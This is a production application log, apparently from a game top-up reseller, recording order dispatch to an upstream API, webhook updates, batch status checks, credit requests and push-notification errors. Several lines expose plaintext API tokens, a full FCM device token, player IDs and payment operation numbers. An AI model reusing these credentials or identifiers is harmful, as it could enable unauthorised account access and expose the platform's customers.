[2026-03-24 18:39:41] production.INFO: Handling job for order: 179126  
[2026-03-24 18:39:41] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:39:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:39:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=8363b096-4656-444b-9cdf-c4d83acbc8e8&Player_ID=0935314142  
[2026-03-24 18:39:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=8363b096-4656-444b-9cdf-c4d83acbc8e8&Player_ID=0935314142","has_body":false} 
[2026-03-24 18:39:42] production.INFO: Operation sent successfully {"operation_id":164028,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-6Ya7kBYa-1774366782","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 18:39:42"}},"processed_data":{"order_number":"ORD-6Ya7kBYa-1774366782","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 18:39:48] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-XujQ-1774366776","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:39:48] production.INFO: Processed webhook data (normalized) {"id":"ORD-XujQ-1774366776","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:39:48] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:39:48] production.INFO: SendAcceptReject: Notification queued {"user_id":659,"notification_type":"order_approved","reference_id":179123} 
[2026-03-24 18:39:48] production.INFO: Order updated successfully. Order ID: 179123, Status: completed  
[2026-03-24 18:39:48] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-XujQ-1774366776","status":"completed","codes_count":0} 
[2026-03-24 18:39:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 659  
[2026-03-24 18:39:51] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-0Bt-1774366780","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:39:51] production.INFO: Processed webhook data (normalized) {"id":"ORD-0Bt-1774366780","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:39:51] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:39:51] production.INFO: SendAcceptReject: Notification queued {"user_id":659,"notification_type":"order_approved","reference_id":179124} 
[2026-03-24 18:39:51] production.INFO: Order updated successfully. Order ID: 179124, Status: completed  
[2026-03-24 18:39:51] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-0Bt-1774366780","status":"completed","codes_count":0} 
[2026-03-24 18:39:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 659  
[2026-03-24 18:40:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03"} 
[2026-03-24 18:40:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","total_operations":4,"sites_count":2} 
[2026-03-24 18:40:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-tmRYG-1774365381","ORD-Fn8ILwx-1774366781"]} 
[2026-03-24 18:40:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:40:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 18:40:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Fn8ILwx-1774366781","operation_id":164027} 
[2026-03-24 18:40:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:40:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 18:40:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 18:40:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":2,"order_ids":["ORD-tlFAlv-1774366776","ORD-6Ya7kBYa-1774366782"]} 
[2026-03-24 18:40:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:40:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":2} 
[2026-03-24 18:40:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tlFAlv-1774366776","operation_id":164024,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 18:40:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tlFAlv-1774366776","operation_id":164024,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 18:40:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tlFAlv-1774366776","operation_id":164024,"count":2} 
[2026-03-24 18:40:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tlFAlv-1774366776","operation_id":164024,"count":2} 
[2026-03-24 18:40:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tlFAlv-1774366776","operation_id":164024,"user_id":587,"notification_type":"order_approved","reference_id":179126} 
[2026-03-24 18:40:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tlFAlv-1774366776","operation_id":164024,"user_id":587,"notification_type":"order_approved","reference_id":179122} 
[2026-03-24 18:40:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tlFAlv-1774366776","operation_id":164024,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:40:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tlFAlv-1774366776","operation_id":164024,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:40:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tlFAlv-1774366776","operation_id":164024,"processed":2,"errors":0} 
[2026-03-24 18:40:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tlFAlv-1774366776","operation_id":164024,"processed":2,"errors":0} 
[2026-03-24 18:40:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"KJZ83QHQFJOOIGkHR0vSY70G1poKtagF","execution_time":"2026-03-24 18:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tlFAlv-1774366776","operation_id":164024} 
[2026-03-24 18:40:03] production.INFO: Executing GetProducts task...  
[2026-03-24 18:40:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 18:40:03] production.INFO: Executing GetProducts task...  
[2026-03-24 18:40:06] production.INFO: async() رجع: true  
[2026-03-24 18:40:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 18:40:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 18:40:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 18:40:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 18:40:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 18:40:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 18:40:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 18:40:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 18:40:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 18:40:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 18:40:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 18:40:09] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 18:40:09] production.INFO: Deleting invalid FCM token: cPLjtzwMkDquHya5OsEfOz:APA91bHewLnf68_wbU473MiXy-PITjRfD8K0H2rOHpu5DrVk9fJT-q21H4YOIwyTDTv7utA-6kttnGIMNi5qyTwu1BCr4x3ocJWeJeQyhK_QTamXRZVinEE  
[2026-03-24 18:40:09] production.ERROR: FCM send failed for token 555: NotRegistered  
[2026-03-24 18:40:11] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 18:40:42] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Fn8ILwx-1774366781","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:40:42] production.INFO: Processed webhook data (normalized) {"id":"ORD-Fn8ILwx-1774366781","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:40:42] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:40:42] production.INFO: SendAcceptReject: Notification queued {"user_id":354,"notification_type":"order_approved","reference_id":179125} 
[2026-03-24 18:40:42] production.INFO: Order updated successfully. Order ID: 179125, Status: completed  
[2026-03-24 18:40:42] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Fn8ILwx-1774366781","status":"completed","codes_count":0} 
[2026-03-24 18:40:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 354  
[2026-03-24 18:41:18] production.INFO: Constructing job for order: 179127  
[2026-03-24 18:41:20] production.INFO: Handling job for order: 179127  
[2026-03-24 18:41:20] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:41:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:41:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=af50d005-5982-4861-b9b9-fb58a5577151&Player_ID=52111363512  
[2026-03-24 18:41:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=af50d005-5982-4861-b9b9-fb58a5577151&Player_ID=52111363512","has_body":false} 
[2026-03-24 18:41:21] production.INFO: Operation sent successfully {"operation_id":164029,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1ait-1774366881","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:41:21"}},"processed_data":{"order_number":"ORD-1ait-1774366881","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:41:26] production.INFO: Constructing job for order: 179128  
[2026-03-24 18:41:27] production.INFO: Handling job for order: 179128  
[2026-03-24 18:41:27] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:41:27] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:41:27] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0296ebcf-3f17-49da-b056-01d763f10b6b&Player_ID=52277731373  
[2026-03-24 18:41:27] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0296ebcf-3f17-49da-b056-01d763f10b6b&Player_ID=52277731373","has_body":false} 
[2026-03-24 18:41:28] production.INFO: Operation sent successfully {"operation_id":164030,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-xRJp5LRc-1774366888","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:41:28"}},"processed_data":{"order_number":"ORD-xRJp5LRc-1774366888","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:41:33] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-1ait-1774366881","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:41:33] production.INFO: Processed webhook data (normalized) {"id":"ORD-1ait-1774366881","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:41:33] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:41:33] production.INFO: SendAcceptReject: Notification queued {"user_id":720,"notification_type":"order_approved","reference_id":179127} 
[2026-03-24 18:41:33] production.INFO: Order updated successfully. Order ID: 179127, Status: completed  
[2026-03-24 18:41:33] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-1ait-1774366881","status":"completed","codes_count":0} 
[2026-03-24 18:41:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 720  
[2026-03-24 18:41:41] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-xRJp5LRc-1774366888","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:41:41] production.INFO: Processed webhook data (normalized) {"id":"ORD-xRJp5LRc-1774366888","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:41:41] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:41:41] production.INFO: SendAcceptReject: Notification queued {"user_id":1141,"notification_type":"order_approved","reference_id":179128} 
[2026-03-24 18:41:41] production.INFO: Order updated successfully. Order ID: 179128, Status: completed  
[2026-03-24 18:41:41] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-xRJp5LRc-1774366888","status":"completed","codes_count":0} 
[2026-03-24 18:41:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1141  
[2026-03-24 18:41:46] production.INFO: Constructing job for order: 179129  
[2026-03-24 18:41:49] production.INFO: Handling job for order: 179129  
[2026-03-24 18:41:49] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:41:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:41:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=b82dabca-67f8-4d5b-a24f-030c7c8c6f46&Player_ID=52090608047  
[2026-03-24 18:41:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=b82dabca-67f8-4d5b-a24f-030c7c8c6f46&Player_ID=52090608047","has_body":false} 
[2026-03-24 18:41:50] production.INFO: Operation sent successfully {"operation_id":164031,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-YbSKUzn-1774366909","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:41:50"}},"processed_data":{"order_number":"ORD-YbSKUzn-1774366909","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:41:57] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"100.0","mainamount":"100","operation_number":"158577063","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phps46l4cj65qp70feTMJR"}},"user_id":1133} 
[2026-03-24 18:41:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 18:41:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 18:41:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 18:41:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 18:41:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 18:41:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 18:41:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 18:41:59] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 18:41:59] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18672,"user_id":1133,"amount":100.0,"admins_notified":7} 
[2026-03-24 18:42:01] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-YbSKUzn-1774366909","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:42:01] production.INFO: Processed webhook data (normalized) {"id":"ORD-YbSKUzn-1774366909","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:42:01] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:42:01] production.INFO: SendAcceptReject: Notification queued {"user_id":354,"notification_type":"order_approved","reference_id":179129} 
[2026-03-24 18:42:01] production.INFO: Order updated successfully. Order ID: 179129, Status: completed  
[2026-03-24 18:42:01] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-YbSKUzn-1774366909","status":"completed","codes_count":0} 
[2026-03-24 18:42:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 354  
[2026-03-24 18:42:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"T5CNaAcWJHLMQrpCUJjOsCFiXyxt3RpJ","execution_time":"2026-03-24 18:42:02"} 
[2026-03-24 18:42:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"T5CNaAcWJHLMQrpCUJjOsCFiXyxt3RpJ","execution_time":"2026-03-24 18:42:02","total_operations":1,"sites_count":1} 
[2026-03-24 18:42:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"T5CNaAcWJHLMQrpCUJjOsCFiXyxt3RpJ","execution_time":"2026-03-24 18:42:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-tmRYG-1774365381"]} 
[2026-03-24 18:42:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"T5CNaAcWJHLMQrpCUJjOsCFiXyxt3RpJ","execution_time":"2026-03-24 18:42:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:42:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"T5CNaAcWJHLMQrpCUJjOsCFiXyxt3RpJ","execution_time":"2026-03-24 18:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 18:42:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"T5CNaAcWJHLMQrpCUJjOsCFiXyxt3RpJ","execution_time":"2026-03-24 18:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:42:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"T5CNaAcWJHLMQrpCUJjOsCFiXyxt3RpJ","execution_time":"2026-03-24 18:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 18:42:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"T5CNaAcWJHLMQrpCUJjOsCFiXyxt3RpJ","execution_time":"2026-03-24 18:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 18:42:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"T5CNaAcWJHLMQrpCUJjOsCFiXyxt3RpJ","execution_time":"2026-03-24 18:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:42:23] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"500.0","mainamount":"500","operation_number":"158577571","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php2dts9encefi8cyYsRQC"}},"user_id":1466} 
[2026-03-24 18:42:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 18:42:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 18:42:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 18:42:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 18:42:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 18:42:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 18:42:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 18:42:26] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 18:42:26] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18673,"user_id":1466,"amount":500.0,"admins_notified":7} 
[2026-03-24 18:42:47] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"order_approved","reference_id":179048} 
[2026-03-24 18:42:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 18:42:52] production.INFO: Constructing job for order: 179130  
[2026-03-24 18:42:53] production.INFO: Handling job for order: 179130  
[2026-03-24 18:42:53] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:42:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:42:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=32a50a5c-2d63-4202-b1cc-01d37d0eb6ca&Player_ID=52090608047  
[2026-03-24 18:42:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=32a50a5c-2d63-4202-b1cc-01d37d0eb6ca&Player_ID=52090608047","has_body":false} 
[2026-03-24 18:42:54] production.INFO: Operation sent successfully {"operation_id":164032,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1O6q-1774366974","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:42:54"}},"processed_data":{"order_number":"ORD-1O6q-1774366974","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:43:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-1O6q-1774366974","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:43:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-1O6q-1774366974","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:43:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:43:06] production.INFO: SendAcceptReject: Notification queued {"user_id":354,"notification_type":"order_approved","reference_id":179130} 
[2026-03-24 18:43:06] production.INFO: Order updated successfully. Order ID: 179130, Status: completed  
[2026-03-24 18:43:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-1O6q-1774366974","status":"completed","codes_count":0} 
[2026-03-24 18:43:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 354  
[2026-03-24 18:43:34] production.INFO: Constructing job for order: 179131  
[2026-03-24 18:43:36] production.INFO: Handling job for order: 179131  
[2026-03-24 18:43:36] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:43:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:43:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=93efbfa4-9d6b-420b-a7d1-f708578becfd&Player_ID=52111363512  
[2026-03-24 18:43:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=93efbfa4-9d6b-420b-a7d1-f708578becfd&Player_ID=52111363512","has_body":false} 
[2026-03-24 18:43:36] production.INFO: Creating credit request {"payload":{"method_id":"14","amount":"1205.0","mainamount":"1205","operation_number":"158548976","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpdg0k04nvmktu79NjR8o"}},"user_id":1773} 
[2026-03-24 18:43:37] production.INFO: Operation sent successfully {"operation_id":164033,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-eesNx-1774367017","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:43:37"}},"processed_data":{"order_number":"ORD-eesNx-1774367017","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:43:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 18:43:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 18:43:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 18:43:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 18:43:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 18:43:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 18:43:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 18:43:37] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 18:43:37] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18674,"user_id":1773,"amount":1205.0,"admins_notified":7} 
